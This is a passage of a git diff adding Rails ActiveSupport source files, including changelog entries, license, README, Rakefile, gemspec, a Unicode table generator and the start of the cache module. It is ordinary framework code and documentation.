+* Make callstack attribute optional in `ActiveSupport::Deprecation::Reporting`
+ methods `warn` and `deprecation_warning`.
+
+ *Alexey Gaziev*
+
+* Implement `HashWithIndifferentAccess#replace` so `key?` works correctly. *David Graham*
+
+* Handle the possible permission denied errors `atomic.rb` might trigger due to its `chown`
+ and `chmod` calls.
+
+ *Daniele Sluijters*
+
+* `Hash#extract!` returns only those keys that present in the receiver.
+
+ {a: 1, b: 2}.extract!(:a, :x) # => {:a => 1}
+
+ *Mikhail Dieterle*
+
+* `Hash#extract!` returns the same subclass, that the receiver is. I.e.
+ `HashWithIndifferentAccess#extract!` returns a `HashWithIndifferentAccess` instance.
+
+ *Mikhail Dieterle*
+
+* Optimize `ActiveSupport::Cache::Entry` to reduce memory and processing overhead. *Brian Durand*
+
+* Tests tag the Rails log with the current test class and test case:
+
+ [SessionsControllerTest] [test_0002_sign in] Processing by SessionsController#create as HTML
+ [SessionsControllerTest] [test_0002_sign in] ...
+
+ *Jeremy Kemper*
+
+* Add `logger.push_tags` and `.pop_tags` to complement `logger.tagged`:
+
+ class Job
+ def before
+ Rails.logger.push_tags :jobs, self.class.name
+ end
+
+ def after
+ Rails.logger.pop_tags 2
+ end
+ end
+
+ *Jeremy Kemper*
+
+* Allow delegation to the class using the `:class` keyword, replacing
+ `self.class` usage:
+
+ class User
+ def self.hello
+ "world"
+ end
+
+ delegate :hello, to: :class
+ end
+
+ *Marc-Andre Lafortune*
+
+* `Date.beginning_of_week` thread local and `beginning_of_week` application
+ config option added (default is Monday).
+
+ *Innokenty Mikhailov*
+
+* An optional block can be passed to `config_accessor` to set its default value
+
+ class User
+ include ActiveSupport::Configurable
+
+ config_accessor :hair_colors do
+ [:brown, :black, :blonde, :red]
+ end
+ end
+
+ User.hair_colors # => [:brown, :black, :blonde, :red]
+
+ *Larry Lv*
+
+* `ActiveSupport::Benchmarkable#silence` has been deprecated due to its lack of
+ thread safety. It will be removed without replacement in Rails 4.1.
+
+ *Steve Klabnik*
+
+* An optional block can be passed to `Hash#deep_merge`. The block will be invoked
+ for each duplicated key and used to resolve the conflict.
+
+ *Pranas Kiziela*
+
+* `ActiveSupport::Deprecation` is now a class. It is possible to create an instance
+ of deprecator. Backwards compatibility has been preserved.
+
+ You can choose which instance of the deprecator will be used.
+
+ deprecate :method_name, deprecator: deprecator_instance
+
+ You can use `ActiveSupport::Deprecation` in your gem.
+
+ require 'active_support/deprecation'
+ require 'active_support/core_ext/module/deprecation'
+
+ class MyGem
+ def self.deprecator
+ ActiveSupport::Deprecation.new('2.0', 'MyGem')
+ end
+
+ def old_method
+ end
+
+ def new_method
+ end
+
+ deprecate old_method: :new_method, deprecator: deprecator
+ end
+
+ MyGem.new.old_method
+ # => DEPRECATION WARNING: old_method is deprecated and will be removed from MyGem 2.0 (use new_method instead). (called from <main> at file.rb:18)
+
+ *Piotr Niełacny & Robert Pankowecki*
+
+* `ERB::Util.html_escape` encodes single quote as `#39`. Decimal form has better support in old browsers. *Kalys Osmonov*
+
+* `ActiveSupport::Callbacks`: deprecate monkey patch of object callbacks.
+ Using the `filter` method like this:
+
+ before_filter MyFilter.new
+
+ class MyFilter
+ def filter(controller)
+ end
+ end
+
+ Is now deprecated with recommendation to use the corresponding filter type
+ (`#before`, `#after` or `#around`):
+
+ before_filter MyFilter.new
+
+ class MyFilter
+ def before(controller)
+ end
+ end
+
+ *Bogdan Gusiev*
+
+* An optional block can be passed to `HashWithIndifferentAccess#update` and `#merge`.
+ The block will be invoked for each duplicated key, and used to resolve the conflict,
+ thus replicating the behaviour of the corresponding methods on the `Hash` class.
+
+ *Leo Cassarani*
+
+* Remove `j` alias for `ERB::Util#json_escape`.
+ The `j` alias is already used for `ActionView::Helpers::JavaScriptHelper#escape_javascript`
+ and both modules are included in the view context that would confuse the developers.
+
+ *Akira Matsuda*
+
+* Replace deprecated `memcache-client` gem with `dalli` in `ActiveSupport::Cache::MemCacheStore`.
+
+ *Guillermo Iguaran*
+
+* Add default values to all `ActiveSupport::NumberHelper` methods, to avoid
+ errors with empty locales or missing values.
+
+ *Carlos Antonio da Silva*
+
+* `ActiveSupport::JSON::Variable` is deprecated. Define your own `#as_json` and
+ `#encode_json` methods for custom JSON string literals.
+
+ *Erich Menge*
+
+* Add `String#indent`. *fxn & Ace Suares*
+
+* Inflections can now be defined per locale. `singularize` and `pluralize`
+ accept locale as an extra argument.
+
+ *David Celis*
+
+* `Object#try` will now return `nil` instead of raise a `NoMethodError` if the
+ receiving object does not implement the method, but you can still get the
+ old behavior by using the new `Object#try!`.
+
+ *DHH*
+
+* `ERB::Util.html_escape` now escapes single quotes. *Santiago Pastorino*
+
+* `Time#change` now works with time values with offsets other than UTC or the local time zone. *Andrew White*
+
+* `ActiveSupport::Callbacks`: deprecate usage of filter object with `#before` and `#after` methods as `around` callback. *Bogdan Gusiev*
+
+* Add `Time#prev_quarter` and `Time#next_quarter` short-hands for `months_ago(3)` and `months_since(3)`. *SungHee Kang*
+
+* Remove obsolete and unused `require_association` method from dependencies. *fxn*
+
+* Add `:instance_accessor` option for `config_accessor`.
+
+ class User
+ include ActiveSupport::Configurable
+ config_accessor :allowed_access, instance_accessor: false
+ end
+
+ User.new.allowed_access = true # => NoMethodError
+ User.new.allowed_access # => NoMethodError
+
+ *Francesco Rodriguez*
+
+* `ActionView::Helpers::NumberHelper` methods have been moved to `ActiveSupport::NumberHelper` and are now available via
+ `Numeric#to_s`. `Numeric#to_s` now accepts the formatting options `:phone`, `:currency`, `:percentage`, `:delimited`,
+ `:rounded`, `:human`, and `:human_size`.
+
+ *Andrew Mutz*
+
+* Add `Hash#transform_keys`, `Hash#transform_keys!`, `Hash#deep_transform_keys`, and `Hash#deep_transform_keys!`. *Mark McSpadden*
+
+* Changed XML type `datetime` to `dateTime` (with upper case letter `T`). *Angelo Capilleri*
+
+* Add `:instance_accessor` option for `class_attribute`. *Alexey Vakhov*
+
+* `constantize` now looks in the ancestor chain. *Marc-Andre Lafortune & Andrew White*
+
+* Adds `Hash#deep_stringify_keys` and `Hash#deep_stringify_keys!` to convert all keys from a `Hash` instance into strings. *Lucas Húngaro*
+
+* Adds `Hash#deep_symbolize_keys` and `Hash#deep_symbolize_keys!` to convert all keys from a `Hash` instance into symbols. *Lucas Húngaro*
+
+* `Object#try` can't call private methods. *Vasiliy Ermolovich*
+
+* `AS::Callbacks#run_callbacks` remove `key` argument. *Francesco Rodriguez*
+
+* `deep_dup` works more expectedly now and duplicates also values in `Hash` instances and elements in `Array` instances. *Alexey Gaziev*
+
+* Inflector no longer applies ice -> ouse to words like "slice", "police", etc. *Wes Morgan*
+
+* Add `ActiveSupport::Deprecations.behavior = :silence` to completely ignore Rails runtime deprecations. *twinturbo*
+
+* Make `Module#delegate` stop using `send` - can no longer delegate to private methods. *dasch*
+
+* `ActiveSupport::Callbacks`: deprecate `:rescuable` option. *Bogdan Gusiev*
+
+* Adds `Integer#ordinal` to get the ordinal suffix string of an integer. *Tim Gildea*
+
+* `ActiveSupport::Callbacks`: `:per_key` option is no longer supported. *Bogdan Gusiev*
+
+* `ActiveSupport::Callbacks#define_callbacks`: add `:skip_after_callbacks_if_terminated` option. *Bogdan Gusiev*
+
+* Add `html_escape_once` to `ERB::Util`, and delegate the `escape_once` tag helper to it. *Carlos Antonio da Silva*
+
+* Deprecates the compatibility method `Module#local_constant_names`,
+ use `Module#local_constants` instead (which returns symbols). *Xavier Noria*
+
+* Deletes the compatibility method `Module#method_names`,
+ use `Module#methods` from now on (which returns symbols). *Xavier Noria*
+
+* Deletes the compatibility method `Module#instance_method_names`,
+ use `Module#instance_methods` from now on (which returns symbols). *Xavier Noria*
+
+* `BufferedLogger` is deprecated. Use `ActiveSupport::Logger`, or the logger
+ from the Ruby standard library.
+
+ *Aaron Patterson*
+
+* Unicode database updated to 6.1.0. *Norman Clarke*
+
+* Adds `encode_big_decimal_as_string` option to force JSON serialization of `BigDecimal` as numeric instead
+ of wrapping them in strings for safety.
+
+* Optimize log subscribers to check log level before doing any processing. *Brian Durand*
+
+Please check [3-2-stable](https://github.com/rails/rails/blob/3-2-stable/activesupport/CHANGELOG.md) for previous changes.
diff --git a/activesupport/MIT-LICENSE b/activesupport/MIT-LICENSE
new file mode 100644
index 0000000..6aeeb71
--- /dev/null
+++ b/activesupport/MIT-LICENSE
@@ -0,0 +1,20 @@
+Copyright (c) 2005-2013 David Heinemeier Hansson
+
+Permission is hereby granted, free of charge, to any person obtaining
+a copy of this software and associated documentation files (the
+"Software"), to deal in the Software without restriction, including
+without limitation the rights to use, copy, modify, merge, publish,
+distribute, sublicense, and/or sell copies of the Software, and to
+permit persons to whom the Software is furnished to do so, subject to
+the following conditions:
+
+The above copyright notice and this permission notice shall be
+included in all copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
\ No newline at end of file
diff --git a/activesupport/README.rdoc b/activesupport/README.rdoc
new file mode 100644
index 0000000..f358276
--- /dev/null
+++ b/activesupport/README.rdoc
@@ -0,0 +1,35 @@
+= Active Support -- Utility classes and Ruby extensions from Rails
+
+Active Support is a collection of utility classes and standard library
+extensions that were found useful for the Rails framework. These additions
+reside in this package so they can be loaded as needed in Ruby projects
+outside of Rails.
+
+
+== Download and installation
+
+The latest version of Active Support can be installed with RubyGems:
+
+ % [sudo] gem install activesupport
+
+Source code can be downloaded as part of the Rails project on GitHub:
+
+* https://github.com/rails/rails/tree/master/activesupport
+
+
+== License
+
+Active Support is released under the MIT license:
+
+* http://www.opensource.org/licenses/MIT
+
+
+== Support
+
+API documentation is at:
+
+* http://api.rubyonrails.org
+
+Bug reports and feature requests can be filed with the rest for the Ruby on Rails project here:
+
+* https://github.com/rails/rails/issues
diff --git a/activesupport/Rakefile b/activesupport/Rakefile
new file mode 100644
index 0000000..e3788ed
--- /dev/null
+++ b/activesupport/Rakefile
@@ -0,0 +1,30 @@
+require 'rake/testtask'
+require 'rubygems/package_task'
+
+task :default => :test
+Rake::TestTask.new do |t|
+ t.libs << 'test'
+ t.pattern = 'test/**/*_test.rb'
+ t.warning = true
+ t.verbose = true
+end
+
+namespace :test do
+ Rake::TestTask.new(:isolated) do |t|
+ t.pattern = 'test/ts_isolated.rb'
+ end
+end
+
+
+spec = eval(File.read('activesupport.gemspec'))
+
+Gem::PackageTask.new(spec) do |p|
+ p.gem_spec = spec
+end
+
+desc "Release to gemcutter"
+task :release => :package do
+ require 'rake/gemcutter'
+ Rake::Gemcutter::Tasks.new(spec).define
+ Rake::Task['gem:push'].invoke
+end
diff --git a/activesupport/activesupport.gemspec b/activesupport/activesupport.gemspec
new file mode 100644
index 0000000..b46a331
--- /dev/null
+++ b/activesupport/activesupport.gemspec
@@ -0,0 +1,28 @@
+version = File.read(File.expand_path('../../RAILS_VERSION', __FILE__)).strip
+
+Gem::Specification.new do |s|
+ s.platform = Gem::Platform::RUBY
+ s.name = 'activesupport'
+ s.version = version
+ s.summary = 'A toolkit of support libraries and Ruby core extensions extracted from the Rails framework.'
+ s.description = 'A toolkit of support libraries and Ruby core extensions extracted from the Rails framework. Rich support for multibyte strings, internationalization, time zones, and testing.'
+
+ s.required_ruby_version = '>= 1.9.3'
+
+ s.license = 'MIT'
+
+ s.author = 'David Heinemeier Hansson'
+ s.email = 'david at loudthinking.com'
+ s.homepage = 'http://www.rubyonrails.org'
+
+ s.files = Dir['CHANGELOG.md', 'MIT-LICENSE', 'README.rdoc', 'lib/**/*']
+ s.require_path = 'lib'
+
+ s.rdoc_options.concat ['--encoding', 'UTF-8']
+
+ s.add_dependency('i18n', '~> 0.6', '>= 0.6.4')
+ s.add_dependency 'multi_json', '~> 1.3'
+ s.add_dependency 'tzinfo', '~> 0.3.37'
+ s.add_dependency 'minitest', '~> 4.2'
+ s.add_dependency 'thread_safe','~> 0.1'
+end
diff --git a/activesupport/bin/generate_tables b/activesupport/bin/generate_tables
new file mode 100755
index 0000000..5fefa42
--- /dev/null
+++ b/activesupport/bin/generate_tables
@@ -0,0 +1,150 @@
+#!/usr/bin/env ruby
+
+begin
+ $:.unshift(File.expand_path(File.dirname(__FILE__) + '/../lib'))
+ require 'active_support'
+rescue IOError
+end
+
+require 'open-uri'
+require 'tmpdir'
+
+module ActiveSupport
+ module Multibyte
+ module Unicode
+
+ class UnicodeDatabase
+ def load; end
+ end
+
+ class DatabaseGenerator
+ BASE_URI = "http://www.unicode.org/Public/#{UNICODE_VERSION}/ucd/"
+ SOURCES = {
+ :codepoints => BASE_URI + 'UnicodeData.txt',
+ :composition_exclusion => BASE_URI + 'CompositionExclusions.txt',
+ :grapheme_break_property => BASE_URI + 'auxiliary/GraphemeBreakProperty.txt',
+ :cp1252 => 'http://unicode.org/Public/MAPPINGS/VENDORS/MICSFT/WINDOWS/CP1252.TXT'
+ }
+
+ def initialize
+ @ucd = Unicode::UnicodeDatabase.new
+
+ default = Codepoint.new
+ default.combining_class = 0
+ default.uppercase_mapping = 0
+ default.lowercase_mapping = 0
+ @ucd.codepoints = Hash.new(default)
+ end
+
+ def parse_codepoints(line)
+ codepoint = Codepoint.new
+ raise "Could not parse input." unless line =~ /^
+ ([0-9A-F]+); # code
+ ([^;]+); # name
+ ([A-Z]+); # general category
+ ([0-9]+); # canonical combining class
+ ([A-Z]+); # bidi class
+ (<([A-Z]*)>)? # decomposition type
+ ((\ ?[0-9A-F]+)*); # decomposition mapping
+ ([0-9]*); # decimal digit
+ ([0-9]*); # digit
+ ([^;]*); # numeric
+ ([YN]*); # bidi mirrored
+ ([^;]*); # unicode 1.0 name
+ ([^;]*); # iso comment
+ ([0-9A-F]*); # simple uppercase mapping
+ ([0-9A-F]*); # simple lowercase mapping
+ ([0-9A-F]*)$/ix # simple titlecase mapping
+ codepoint.code = $1.hex
+ #codepoint.name = $2
+ #codepoint.category = $3
+ codepoint.combining_class = Integer($4)
+ #codepoint.bidi_class = $5
+ codepoint.decomp_type = $7
+ codepoint.decomp_mapping = ($8=='') ? nil : $8.split.collect { |element| element.hex }
+ #codepoint.bidi_mirrored = ($13=='Y') ? true : false
+ codepoint.uppercase_mapping = ($16=='') ? 0 : $16.hex
+ codepoint.lowercase_mapping = ($17=='') ? 0 : $17.hex
+ #codepoint.titlecase_mapping = ($18=='') ? nil : $18.hex
+ @ucd.codepoints[codepoint.code] = codepoint
+ end
+
+ def parse_grapheme_break_property(line)
+ if line =~ /^([0-9A-F.]+)\s*;\s*([\w]+)\s*#/
+ type = $2.downcase.intern
+ @ucd.boundary[type] ||= []
+ if $1.include? '..'
+ parts = $1.split '..'
+ @ucd.boundary[type] << (parts[0].hex..parts[1].hex)
+ else
+ @ucd.boundary[type] << $1.hex
+ end
+ end
+ end
+
+ def parse_composition_exclusion(line)
+ if line =~ /^([0-9A-F]+)/i
+ @ucd.composition_exclusion << $1.hex
+ end
+ end
+
+ def parse_cp1252(line)
+ if line =~ /^([0-9A-Fx]+)\s([0-9A-Fx]+)/i
+ @ucd.cp1252[$1.hex] = $2.hex
+ end
+ end
+
+ def create_composition_map
+ @ucd.codepoints.each do |_, cp|
+ if !cp.nil? and cp.combining_class == 0 and cp.decomp_type.nil? and !cp.decomp_mapping.nil? and cp.decomp_mapping.length == 2 and @ucd.codepoints[cp.decomp_mapping[0]].combining_class == 0 and !@ucd.composition_exclusion.include?(cp.code)
+ @ucd.composition_map[cp.decomp_mapping[0]] ||= {}
+ @ucd.composition_map[cp.decomp_mapping[0]][cp.decomp_mapping[1]] = cp.code
+ end
+ end
+ end
+
+ def normalize_boundary_map
+ @ucd.boundary.each do |k,v|
+ if [:lf, :cr].include? k
+ @ucd.boundary[k] = v[0]
+ end
+ end
+ end
+
+ def parse
+ SOURCES.each do |type, url|
+ filename = File.join(Dir.tmpdir, "#{url.split('/').last}")
+ unless File.exist?(filename)
+ $stderr.puts "Downloading #{url.split('/').last}"
+ File.open(filename, 'wb') do |target|
+ open(url) do |source|
+ source.each_line { |line| target.write line }
+ end
+ end
+ end
+ File.open(filename) do |file|
+ file.each_line { |line| send "parse_#{type}".intern, line }
+ end
+ end
+ create_composition_map
+ normalize_boundary_map
+ end
+
+ def dump_to(filename)
+ File.open(filename, 'wb') do |f|
+ f.write Marshal.dump([@ucd.codepoints, @ucd.composition_exclusion, @ucd.composition_map, @ucd.boundary, @ucd.cp1252])
+ end
+ end
+ end
+ end
+ end
+end
+
+if __FILE__ == $0
+ filename = ActiveSupport::Multibyte::Unicode::UnicodeDatabase.filename
+ generator = ActiveSupport::Multibyte::Unicode::DatabaseGenerator.new
+ generator.parse
+ print "Writing to: #{filename}"
+ generator.dump_to filename
+ puts " (#{File.size(filename)} bytes)"
+end
diff --git a/activesupport/lib/active_support.rb b/activesupport/lib/active_support.rb
new file mode 100644
index 0000000..ffa6ffd
--- /dev/null
+++ b/activesupport/lib/active_support.rb
@@ -0,0 +1,69 @@
+#--
+# Copyright (c) 2005-2013 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require 'securerandom'
+require "active_support/dependencies/autoload"
+require "active_support/version"
+require "active_support/logger"
+require "active_support/lazy_load_hooks"
+
+module ActiveSupport
+ extend ActiveSupport::Autoload
+
+ autoload :Concern
+ autoload :Dependencies
+ autoload :DescendantsTracker
+ autoload :FileUpdateChecker
+ autoload :LogSubscriber
+ autoload :Notifications
+
+ eager_autoload do
+ autoload :BacktraceCleaner
+ autoload :BasicObject
+ autoload :ProxyObject
+ autoload :Benchmarkable
+ autoload :Cache
+ autoload :Callbacks
+ autoload :Configurable
+ autoload :Deprecation
+ autoload :Gzip
+ autoload :Inflector
+ autoload :JSON
+ autoload :KeyGenerator
+ autoload :MessageEncryptor
+ autoload :MessageVerifier
+ autoload :Multibyte
+ autoload :OptionMerger
+ autoload :OrderedHash
+ autoload :OrderedOptions
+ autoload :StringInquirer
+ autoload :TaggedLogging
+ autoload :XmlMini
+ end
+
+ autoload :Rescuable
+ autoload :SafeBuffer, "active_support/core_ext/string/output_safety"
+ autoload :TestCase
+end
+
+autoload :I18n, "active_support/i18n"
diff --git a/activesupport/lib/active_support/all.rb b/activesupport/lib/active_support/all.rb
new file mode 100644
index 0000000..f537818
--- /dev/null
+++ b/activesupport/lib/active_support/all.rb
@@ -0,0 +1,3 @@
+require 'active_support'
+require 'active_support/time'
+require 'active_support/core_ext'
diff --git a/activesupport/lib/active_support/backtrace_cleaner.rb b/activesupport/lib/active_support/backtrace_cleaner.rb
new file mode 100644
index 0000000..4b41e62
--- /dev/null
+++ b/activesupport/lib/active_support/backtrace_cleaner.rb
@@ -0,0 +1,107 @@
+module ActiveSupport
+ # Backtraces often include many lines that are not relevant for the context
+ # under review. This makes it hard to find the signal amongst the backtrace
+ # noise, and adds debugging time. With a BacktraceCleaner, filters and
+ # silencers are used to remove the noisy lines, so that only the most relevant
+ # lines remain.
+ #
+ # Filters are used to modify lines of data, while silencers are used to remove
+ # lines entirely. The typical filter use case is to remove lengthy path
+ # information from the start of each line, and view file paths relevant to the
+ # app directory instead of the file system root. The typical silencer use case
+ # is to exclude the output of a noisy library from the backtrace, so that you
+ # can focus on the rest.
+ #
+ # bc = BacktraceCleaner.new
+ # bc.add_filter { |line| line.gsub(Rails.root, '') }
+ # bc.add_silencer { |line| line =~ /mongrel|rubygems/ }
+ # bc.clean(exception.backtrace) # will strip the Rails.root prefix and skip any lines from mongrel or rubygems
+ #
+ # To reconfigure an existing BacktraceCleaner (like the default one in Rails)
+ # and show as much data as possible, you can always call
+ # <tt>BacktraceCleaner#remove_silencers!</tt>, which will restore the
+ # backtrace to a pristine state. If you need to reconfigure an existing
+ # BacktraceCleaner so that it does not filter or modify the paths of any lines
+ # of the backtrace, you can call BacktraceCleaner#remove_filters! These two
+ # methods will give you a completely untouched backtrace.
+ #
+ # Inspired by the Quiet Backtrace gem by Thoughtbot.
+ class BacktraceCleaner
+ def initialize
+ @filters, @silencers = [], []
+ end
+
+ # Returns the backtrace after all filters and silencers have been run
+ # against it. Filters run first, then silencers.
+ def clean(backtrace, kind = :silent)
+ filtered = filter_backtrace(backtrace)
+
+ case kind
+ when :silent
+ silence(filtered)
+ when :noise
+ noise(filtered)
+ else
+ filtered
+ end
+ end
+ alias :filter :clean
+
+ # Adds a filter from the block provided. Each line in the backtrace will be
+ # mapped against this filter.
+ #
+ # # Will turn "/my/rails/root/app/models/person.rb" into "/app/models/person.rb"
+ # backtrace_cleaner.add_filter { |line| line.gsub(Rails.root, '') }
+ def add_filter(&block)
+ @filters << block
+ end
+
+ # Adds a silencer from the block provided. If the silencer returns +true+
+ # for a given line, it will be excluded from the clean backtrace.
+ #
+ # # Will reject all lines that include the word "mongrel", like "/gems/mongrel/server.rb" or "/app/my_mongrel_server/rb"
+ # backtrace_cleaner.add_silencer { |line| line =~ /mongrel/ }
+ def add_silencer(&block)
+ @silencers << block
+ end
+
+ # Will remove all silencers, but leave in the filters. This is useful if
+ # your context of debugging suddenly expands as you suspect a bug in one of
+ # the libraries you use.
+ def remove_silencers!
+ @silencers = []
+ end
+
+ # Removes all filters, but leaves in silencers. Useful if you suddenly
+ # need to see entire filepaths in the backtrace that you had already
+ # filtered out.
+ def remove_filters!
+ @filters = []
+ end
+
+ private
+ def filter_backtrace(backtrace)
+ @filters.each do |f|
+ backtrace = backtrace.map { |line| f.call(line) }
+ end
+
+ backtrace
+ end
+
+ def silence(backtrace)
+ @silencers.each do |s|
+ backtrace = backtrace.reject { |line| s.call(line) }
+ end
+
+ backtrace
+ end
+
+ def noise(backtrace)
+ @silencers.each do |s|
+ backtrace = backtrace.select { |line| s.call(line) }
+ end
+
+ backtrace
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/basic_object.rb b/activesupport/lib/active_support/basic_object.rb
new file mode 100644
index 0000000..91aac6d
--- /dev/null
+++ b/activesupport/lib/active_support/basic_object.rb
@@ -0,0 +1,11 @@
+require 'active_support/deprecation'
+require 'active_support/proxy_object'
+
+module ActiveSupport
+ class BasicObject < ProxyObject # :nodoc:
+ def self.inherited(*)
+ ::ActiveSupport::Deprecation.warn 'ActiveSupport::BasicObject is deprecated! Use ActiveSupport::ProxyObject instead.'
+ super
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/benchmarkable.rb b/activesupport/lib/active_support/benchmarkable.rb
new file mode 100644
index 0000000..6413502
--- /dev/null
+++ b/activesupport/lib/active_support/benchmarkable.rb
@@ -0,0 +1,59 @@
+require 'active_support/core_ext/benchmark'
+require 'active_support/core_ext/hash/keys'
+
+module ActiveSupport
+ module Benchmarkable
+ # Allows you to measure the execution time of a block in a template and
+ # records the result to the log. Wrap this block around expensive operations
+ # or possible bottlenecks to get a time reading for the operation. For
+ # example, let's say you thought your file processing method was taking too
+ # long; you could wrap it in a benchmark block.
+ #
+ # <% benchmark 'Process data files' do %>
+ # <%= expensive_files_operation %>
+ # <% end %>
+ #
+ # That would add something like "Process data files (345.2ms)" to the log,
+ # which you can then use to compare timings when optimizing your code.
+ #
+ # You may give an optional logger level (<tt>:debug</tt>, <tt>:info</tt>,
+ # <tt>:warn</tt>, <tt>:error</tt>) as the <tt>:level</tt> option. The
+ # default logger level value is <tt>:info</tt>.
+ #
+ # <% benchmark 'Low-level files', level: :debug do %>
+ # <%= lowlevel_files_operation %>
+ # <% end %>
+ #
+ # Finally, you can pass true as the third argument to silence all log
+ # activity (other than the timing information) from inside the block. This
+ # is great for boiling down a noisy block to just a single statement that
+ # produces one log line:
+ #
+ # <% benchmark 'Process data files', level: :info, silence: true do %>
+ # <%= expensive_and_chatty_files_operation %>
+ # <% end %>
+ def benchmark(message = "Benchmarking", options = {})
+ if logger
+ options.assert_valid_keys(:level, :silence)
+ options[:level] ||= :info
+
+ result = nil
+ ms = Benchmark.ms { result = options[:silence] ? silence { yield } : yield }
+ logger.send(options[:level], '%s (%.1fms)' % [ message, ms ])
+ result
+ else
+ yield
+ end
+ end
+
+ # Silence the logger during the execution of the block.
+ def silence
+ message = "ActiveSupport::Benchmarkable#silence is deprecated. It will be removed from Rails 4.1."
+ ActiveSupport::Deprecation.warn message
+ old_logger_level, logger.level = logger.level, ::Logger::ERROR if logger
+ yield
+ ensure
+ logger.level = old_logger_level if logger
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/buffered_logger.rb b/activesupport/lib/active_support/buffered_logger.rb
new file mode 100644
index 0000000..1cd0c2f
--- /dev/null
+++ b/activesupport/lib/active_support/buffered_logger.rb
@@ -0,0 +1,21 @@
+require 'active_support/deprecation'
+require 'active_support/logger'
+
+module ActiveSupport
+ class BufferedLogger < Logger
+
+ def initialize(*args)
+ self.class._deprecation_warning
+ super
+ end
+
+ def self.inherited(*)
+ _deprecation_warning
+ super
+ end
+
+ def self._deprecation_warning
+ ::ActiveSupport::Deprecation.warn 'ActiveSupport::BufferedLogger is deprecated! Use ActiveSupport::Logger instead.'
+ end
+ end
+end
diff --git a/activesupport/lib/active_support/builder.rb b/activesupport/lib/active_support/builder.rb
new file mode 100644
index 0000000..321e462
--- /dev/null
+++ b/activesupport/lib/active_support/builder.rb
@@ -0,0 +1,6 @@
+begin
+ require 'builder'
+rescue LoadError => e
+ $stderr.puts "You don't have builder installed in your application. Please add it to your Gemfile and run bundle install"
+ raise e
+end
diff --git a/activesupport/lib/active_support/cache.rb b/activesupport/lib/active_support/cache.rb
new file mode 100644
index 0000000..6c220ae
--- /dev/null
+++ b/activesupport/lib/active_support/cache.rb
@@ -0,0 +1,683 @@
+require 'benchmark'
+require 'zlib'
+require 'active_support/core_ext/array/extract_options'
+require 'active_support/core_ext/array/wrap'
+require 'active_support/core_ext/benchmark'
+require 'active_support/core_ext/class/attribute_accessors'
+require 'active_support/core_ext/numeric/bytes'
+require 'active_support/core_ext/numeric/time'
+require 'active_support/core_ext/object/to_param'
+require 'active_support/core_ext/string/inflections'
+
+module ActiveSupport
+ # See ActiveSupport::Cache::Store for documentation.
+ module Cache
+ autoload :FileStore, 'active_support/cache/file_store'
+ autoload :MemoryStore, 'active_support/cache/memory_store'
+ autoload :MemCacheStore, 'active_support/cache/mem_cache_store'
+ autoload :NullStore, 'active_support/cache/null_store'
+
+ # These options mean something to all cache implementations. Individual cache
+ # implementations may support additional options.
+ UNIVERSAL_OPTIONS = [:namespace, :compress, :compress_threshold, :expires_in, :race_condition_ttl]
+
+ module Strategy
+ autoload :LocalCache, 'active_support/cache/strategy/local_cache'
+ end
+
+ class << self
+ # Creates a new CacheStore object according to the given options.
+ #
+ # If no arguments are passed to this method, then a new
+ # ActiveSupport::Cache::MemoryStore object will be returned.
+ #
+ # If you pass a Symbol as the first argument, then a corresponding cache
+ # store class under the ActiveSupport::Cache namespace will be created.
+ # For example:
+ #
+ # ActiveSupport::Cache.lookup_store(:memory_store)
+ # # => returns a new ActiveSupport::Cache::MemoryStore object
+ #
+ # ActiveSupport::Cache.lookup_store(:mem_cache_store)
+ # # => returns a new ActiveSupport::Cache::MemCacheStore object
+ #
+ # Any additional arguments will be passed to the corresponding cache store
+ # class's constructor:
+ #
+ # ActiveSupport::Cache.lookup_store(:file_store, '/tmp/cache')
+ # # => same as: ActiveSupport::Cache::FileStore.new('/tmp/cache')
+ #
+ # If the first argument is not a Symbol, then it will simply be returned:
+ #
+ # ActiveSupport::Cache.lookup_store(MyOwnCacheStore.new)
+ # # => returns MyOwnCacheStore.new
+ def lookup_store(*store_option)
+ store, *parameters = *Array.wrap(store_option).flatten
+
+ case store
+ when Symbol
+ retrieve_store_class(store).new(*parameters)
+ when nil
+ ActiveSupport::Cache::MemoryStore.new
+ else
+ store
+ end
+ end
+
+ # Expands out the +key+ argument into a key that can be used for the
+ # cache store. Optionally accepts a namespace, and all keys will be
+ # scoped within that namespace.
+ #
+ # If the +key+ argument provided is an array, or responds to +to_a+, then
+ # each of elements in the array will be turned into parameters/keys and
+ # concatenated into a single key. For example:
+ #
+ # expand_cache_key([:foo, :bar]) # => "foo/bar"
+ # expand_cache_key([:foo, :bar], "namespace") # => "namespace/foo/bar"
+ #
+ # The +key+ argument can also respond to +cache_key+ or +to_param+.
+ def expand_cache_key(key, namespace = nil)
+ expanded_cache_key = namespace ? "#{namespace}/" : ""
+
